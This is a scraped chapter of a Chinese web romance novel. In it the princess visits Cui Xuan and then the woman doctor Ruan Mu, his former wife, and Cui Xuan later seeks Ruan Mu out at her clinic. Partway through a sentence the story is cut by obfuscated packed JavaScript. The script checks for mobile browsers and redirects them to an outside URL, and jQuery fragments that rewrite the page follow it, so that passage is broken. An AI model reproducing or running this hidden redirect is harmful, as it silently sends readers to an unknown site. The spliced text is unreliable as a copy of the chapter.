64. 第 64 章
作品:《和离后,丞相他追悔莫及》 都遣人去请了多少次了,崔煊都是避而不见。
“那些面首您一个都没有带过来,足见对他的看重,这崔大人真是....”
长公主轻笑一声,“谁说我看重他了?”
“不带他们,那是自然是因为,这秦淮楚地的小郎君,更好~”她声音纤柔,百转千回,听得叫人心生痒意。
“可万一皇上知道了...”宫女担心。
“所以,去见见他咯,大家打一个商量,哦对了,还有他家的那个...小五郎...”长公主轻轻地笑起来,媚眼如丝。
“他不见我,那咱们...上门去。”
崔煊在书房处理了一堆的事情,而后便去了府衙,在临时的办公地便又开始看公文汇报和各种材料。
和荣往里头瞧了几眼,这时候是不敢打扰的,不过没法子,还是硬着头皮进来。
“大人,长公主又来了。”
“我在忙。”
这意思便是不见,和从前几天一样,可是这一次。
“崔大人,果然是皇弟的左膀右臂,真是个大忙人。”娇俏的声音响起,崔煊下意识蹙眉。
一阵朊香袭来,门口便出现了一个倩丽的身影。
崔煊看了一眼和荣,然后行礼。
“我还以为崔大人是推脱,没想到,竟是当真这样忙。”长公主进来坐下。
"微臣怎敢推脱公主殿下。"
长公主戏谑地看了他面无表情的脸一眼,没有被那容色惊艳是假的,长公主愣了片刻才回神。
只可惜,寡淡,无趣。
她又站起来,走到崔煊身边,绕着他慢悠悠地走了一圈,到正面的时候,仰头看他,而后抬头,将手里的帕子扔了过去。
却没扔过去,她手腕一痛,崔煊已经放开,同时甩开她的手和帕子。
“崔煊你好大的胆子!”长公主怒极,从未有人这样不给她脸面过。
“长公主慎行。”崔煊脸色也不好。
长公主冷冷一笑,“怕什么,反正你我二人,早晚都是夫妻,你虽然严肃无趣,却实在英俊,本公主倒也不算是太吃亏。”
崔煊看都不看她一眼,“公主若是无事,微臣便不奉陪了。”
长公主笑笑,也没有说什么。
从前她只在宴会的时候远远看过这崔煊一眼,虽然知道他芝兰玉树翩翩公子,可长公主手里面首众多,喜欢的也不是冷面的人,所以今日,倒其实是她第一次近距离看这位最负盛名的探花郎。
原打算着,今日两人把话说清楚,日后各玩各的,可现在.....
长公主突然发现,冷面的人,好像也没有那么不好嘛....况且,长得...实在是好,她满屋子的面首,竟是没一个比得上。
人家都长成这样了,冷一点,好像也不是不可以接受嘛。
长公主心满意足地离去,第一次对自己皇弟找的这个夫君,有些满意。
她走出来,便打算去秦楼楚馆里头瞧瞧,听说秦淮河畔女子动人,小倌也格外水灵,怎能不去见识见识?
才走到一半,突闻前头一通吵闹,她动了动帘子,宫女便遣人去打听了回来禀报。
说是前头便是建邺十分有名的药馆之一的保安堂,另外一个便是回春堂,这回春堂的名声比保安堂要好上许多,近几年,因着保安堂来了一位女大夫,它的名声才渐渐好起来。
可是现在,外头的人便是在保安堂闹事呢。
长公主兴致缺缺。
可听到女大夫的时候,眉眼动了动,“便是刚来时,听闻的那位女大夫?”
“正是。”
长公主眼睛便晶亮起来,她喜欢面首,也喜欢一切有趣的东西,在京城那都是没有女大夫的,许多病症,她实在不喜那些老头子太医来看,从前也是问过,为何没有女大夫?可被她父王训斥了一顿,说女子哪能行医的。
所以,现下有了一位女大夫,一下子便勾起了长公主的好奇心,更何况,那位大夫口碑还那样好。
“走,下去瞧瞧。”
宫女虽然担心,毕竟建邺的治安情况还不大清楚,这次出行带的人虽多,高手却没几次,而公主出行,从来都是大行仪仗,生怕旁人不知晓她身份了。
保安堂掌柜的立刻来请安,知道是公主殿下大驾光临,立刻便将场地清空,而后得知长公主殿下过来是见阮慕,便将她正在看的病人轰了出去,也不在意阮慕的反应,直接将她带了过去。
只因这几日掌柜的也是头疼无比,外头那个妇人来了好几日了,将人轰走她便倒在地上耍无赖,非说是阮慕治死她男人。
可却又不去报官,就在外头闹事,影响生意不说,更加影响保安堂的名声。
若非今日长公主过来,掌柜的都想叫阮慕先回去几日,至于什么时候回来,他都没想好,可是现在....
长公主本来就已经对人好奇无比,门打开,英明走来一个身量纤纤的女子,一身粗布白衣,更衬得人肌肤胜雪,眼眸清澈,清丽无双。
今日是什么好日子,方才才见了一个“美人”,现在又来一个?
长公主的眼睛瞬间晶亮无比。
这样的美人怎么做了大夫,女大夫罕见,是因为大众鄙夷,觉得女子,不该抛头露面,世人认为最好的女子,便是要大门不出二门不迈,在闺中绣花作画,去了夫家相夫教子,最好不要叫第二个男人瞧见。
这般的女子,即便家世清贫,寻个夫婿应当不是难事,为何竟...
长公主不嫌弃,反而十分看重女大夫,只是世俗的眼光,非她可以更改。
“参见长公主殿下。”
公主便瞧见女子纤弱,但十分利落有据地行礼,姿态甚是好看,对她的印象又好上了几分,连眉眼都带了笑。
阮慕在心中苦笑。
这些行礼的规矩动作,从前她学了许久都做不得旁人那般好看,多年没有再做,没想到今日再来,却也没有忘记,反而因为她坦然自若,所以比起从前更加舒展自然。
而行礼的对象,她做梦都想不到,长公主。
便是崔煊要娶的那位长公主吧。
进门的二十号阮慕极快地瞥了一眼,这是不合礼数的,只是因她现在只是一个乡野大夫,倒也不碍事。
长公主无疑是美的,很美,举手投足般的雍容华贵是旁人学都学不来的。
这样的人,和崔煊,自当是绝配,难怪,连皇上都要亲自赐婚。
“你便是那位神医女大夫?快起来吧。”长公主平日可是没有这样好说话的。
“公主谬赞,民女愧不敢当。”阮慕站了起来,低头。
“抬起头来,本宫瞧瞧。”
阮慕心头忐忑,莫非,是长公主已经知晓自己的身份?
是的了,毕竟她要嫁的男子曾经有过妻子,所以好奇来看一眼,或是心有芥蒂,或是....阮慕不由得有些发怵,万一....
她缓慢地抬头,睫毛轻颤。
以为他是见倒自己被吓到了,长公主内心愧疚起来,吓到美人那可是不好的,她站起来,走过去。
阮慕心中暗叫糟糕,听着越来越近的脚步声,这长公主果然是容不下她吗?
就在她心头一颤的时候,手上传来一个轻柔的触感,阮慕睁开眼,长公主就在她面前,还拉着她的手摸了又摸,“快帮本宫瞧瞧,本宫五六日前坐车有些发晕,是怎么回事?”
长公主没有放下她的手,还一直摸了又摸。
阮慕:“......”
五六日前晕,现下早好了。
她抬手把脉,然后便看到了长公主手腕上的一圈红紫指印。
长公主“嗨”了一声,她也才注意到,惊讶后立刻愠怒吐槽,“一个大男人,竟丝毫不懂怜香惜玉。”
阮慕垂下眼睛。
原来,他们连肌肤之亲都是有了的。
倒是她....从前竟还轻信了在村子里她的那番话。
其实想来,兴许他也不是骗人,或许,他因为愧疚,或是其他旁的什么原因,是想要娶她的,不过,所打算的应当就是个妾室,毕竟,她一个行医的孤女,连平常的男人都会嫌弃,他肯屈尊做出这样的妥协,想来料定她不会再有异议吧。
阮慕在心里好笑。
她探了探脉,确信长公主无事,而且身体非常健康,连补药都不需要进服。
长公主看起来却好似有些失望似的,“当真?一点都不需要?那过几日,你再来帮我看看脉好了。”
她依旧握着阮慕的手,她的手软软的,肉虽然不多,十指其实是纤细的,看起来十分好看,而手感也很好。
长公主有些恋恋不舍地放下她的手。
真好看又好摸的一双手,脸蛋也好,摸起来手感定然更好,若非这是大庭广众...
然后她正色
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15034456|156628||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
道,“你倒是很合我的脾性,只是女子行医,多有不便,嫁人更是有妨碍,你若是看上了谁,便来同我讲,若是想嫁人又看不上的,我来帮你找。”
不就是男人嘛,多的是,长公主还不信自己找不到了。
阮慕福身行礼,“多谢长公主,只是民女,从前和离过,现下已无心婚配。”
长公主愣了愣。
随即又笑起来。
她喜欢好看的人,也喜欢...“出格”的人。
那些京城的贵女一个个地一门心思想嫁入高门,长公主行事从来都不拘小节,哪怕朝臣都参揍她养面首的事情,她依旧特立独行,自然也喜欢同样特立独行的阮慕。
能抛开世俗偏见做女大夫的人,本就已经十分不一般。
“那你从前的夫家可是顶顶没有眼光,睁眼瞎。”
长公主觉得两人颇为投契,她喜欢的人便是一见就喜欢,不喜欢的,如何贴上来,长公主都不会看一眼。
她骂人,察觉这女大夫也没有什么反应,长公主心下便是更满意了。
殊不知,阮慕面上不显,心头还是有些错愕的。
莫非...长公主竟是不知自己的身份?
不知最后她知道了,想起从前自己骂过她自己心爱的夫君,又会是何种心情。
长公主出去便同人说好了,日后,不舒服了,便要差人去请阮大夫来治。
她心情大好地往外走,结果就看到了哭嚎的妇人,嘴里骂骂咧咧的提及的还都是阮慕,长公主立刻就过去,听了一通对话的回话后,便冷笑,“既是她的错,为何你报官?”
妇人哭天抢地,“报官也无用的,她和当官的勾结。”
在大庭广众之下说这样的话,饶是长公主也是听不下去的,直接就派人去请知府过来。
那妇人见到长公主气势打扮不似一般人,怕知府当真过来,毕竟现下她的任务只是将阮慕的名声搞臭,其他的,暂时还没有得到吩咐。
她嘴里念叨着,趁人没有注意,脚底抹油先溜了。
崔煊在书房里做事,旁的人都不许打搅,更何况方才出了长公主的事情,下人知晓他心绪不佳,便要更加小心。
崔煊确也有些烦闷。
他放下笔,外头传来一阵轻微的脚步,他本不大在意,可那脚步来来去去,仿佛迟疑不停。
“进来。”崔煊开口,
外头本来就非常纠结的和荣干脆直接进来,
“大人,长公主...去保安堂了。”
崔煊揉眉心的动作一顿,而后豁然站起。
“大人,外头的总督大人您今日还见吗?”话还没有说完,崔煊已经大步出去。
“得勒。”和荣明白,那就是不见了。
崔煊大步而去,等到了保安堂门口,瞧见外头安静一片,惊疑不定的内心才渐渐安定下来,可是,往前的脚步也停下。
一路上狂奔,临了,他竟生出一丝的怯意。
应当如何见她?应当要说些什么才好。
他想叫和荣将镜子拿来看看现下是否合适得体,又突觉这样更显奇怪。
等意识到自己的行为后,崔煊突然有些啼笑皆非。
从前他十几岁的时候,便见过许多年轻儿郎少年心事,去见心仪的女子前,战战兢兢似有小鹿乱撞的模样。
当时的他嗤之以鼻,这一生,更是没有体味过这样的感觉,可是现在,他却好像有些理解了,更是对自己这莫名的心绪感到颇为无奈。
都已经这样的年纪....
他摇摇头,而后进去。
阮慕还在继续为方才黑赶出去的病人诊治,因为有大人前来,虽然保安堂的掌柜并不知道来人的身份,可是一看便知气度非法,他人又口中称大人,说是要见阮大夫,自然是立刻安排。
崔煊推门进去的时候,心跳似乎有些快。
这个诊间,他刚到建邺的时候进过一次,彼时的他并不知晓里面的人就是她。
同此刻的心境,自是分外不同。
阮慕见人,有些惊讶地顿了顿,直接从屏风后出来,“崔大人。”
崔煊目光落在她脸上,见她眉眼澄澈,并无任何不妥,心才放下来。
“崔大人哪里不舒服?”阮慕见他不答,便问。
崔煊倒是没有想好过来的说辞,只一瞬的发慌,而后镇定自若,“这伤...”他抬起手臂,“有些疼。”